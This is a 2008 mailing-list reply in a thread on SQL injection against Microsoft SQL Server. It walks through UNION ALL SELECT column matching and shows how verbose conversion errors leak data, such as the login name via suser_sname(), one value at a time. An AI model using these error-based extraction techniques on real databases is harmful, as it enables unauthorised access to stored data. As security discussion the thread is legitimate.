Re: SQL Injection: Issue with UNION SELECT ALL

["Zed Qyves" <zqyves.spamtrap () gmail com>]

I just had to try regarding the text thingy...

---------------------------------------------------------------------------------------------------
select 1,1,1,convert(text,'HELLO'),1
union all select 1,1,1,1;

Server: Msg 206, Level 16, State 2, Line 1
Operand type clash: text is incompatible with int
Server: Msg 205, Level 16, State 1, Line 1
All queries in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.

---------------------------------------------------------------------------------------------------

select 1,1,1,convert(nvarchar,'HELLO'),1
union all select 1,1,1,1;
Server: Msg 205, Level 16, State 1, Line 1
All queries in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.

---------------------------------------------------------------------------------------------------

Oh f@$k!


On Jan 11, 2008 12:16 AM, Francois Larouche
<francois.larouche-ml () sqlpowerinjector com> wrote:
> I wouldn't agree with your statement Zed.
>
> What he found was where the first conversion clash occurred. It seems
> that your third expression is text field, no big deal. For some reason
> SQL Server gives a higher priority on text is incompatible with int
> error or any casting problem than the equal number of expressions in a
> UNION clause. Believe me I learned that at my expense...

Chances are I misread you above statement, but what do you mean by "
or any casting problem "?
The nvarchar casting above - below works as expected

----------------------------------------------------------------
select 1,1,1,cast('HELLO' AS nvarchar),1
union all select 1,1,1,1;

Server: Msg 205, Level 16, State 1, Line 1
All queries in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
----------------------------------------------------------------

> The actual number is 16 if I counted well with his HAVING test.
>
> Your problem now Joseph is just to make sure that you can have the right
> format. If you use NULL it will work each time, however you won't get
> anything back...

Partly true - oh well unless you found something else in your expense
:). You just have to pick one column that is displayed back and put
your data selection there if you want multiple data rows to be
returned back. Alternatively pick an int column and union select
strings on that. Detailed error messages - which you seem to have -
will get you the data back one at a time. Recurse on that with NOT IN
('data'...)

------------------------------------------------------------------------------------------------
select 1,1,1,1,1
union all select 1,1,1,suser_sname(),1

Server: Msg 245, Level 16, State 1, Line 1
Syntax error converting the nvarchar value 'sa' to a column of data type int.
------------------------------------------------------------------------------------------------

> The error you have is that you used SELECT ALL, in fact you need to use
> UNION ALL SELECT .... the ALL goes between UNION and SELECT
Spot on.


Have fun,
ZQ

-- 
---------------------------------------------------------------------
Κρέων
ἐν τῇδ᾽ ἔφασκε γῇ· τὸ δὲ ζητούμενον
ἁλωτόν, ἐκφεύγειν δὲ τἀμελούμενον.
Οιδίπους Τύρρανος [110]
---------------------------------------------------------------------
Creon
In this our land, so said he, those who seek  Shall find; unsought, we
lose it utterly.
Oedipus Rex [110]
---------------------------------------------------------------------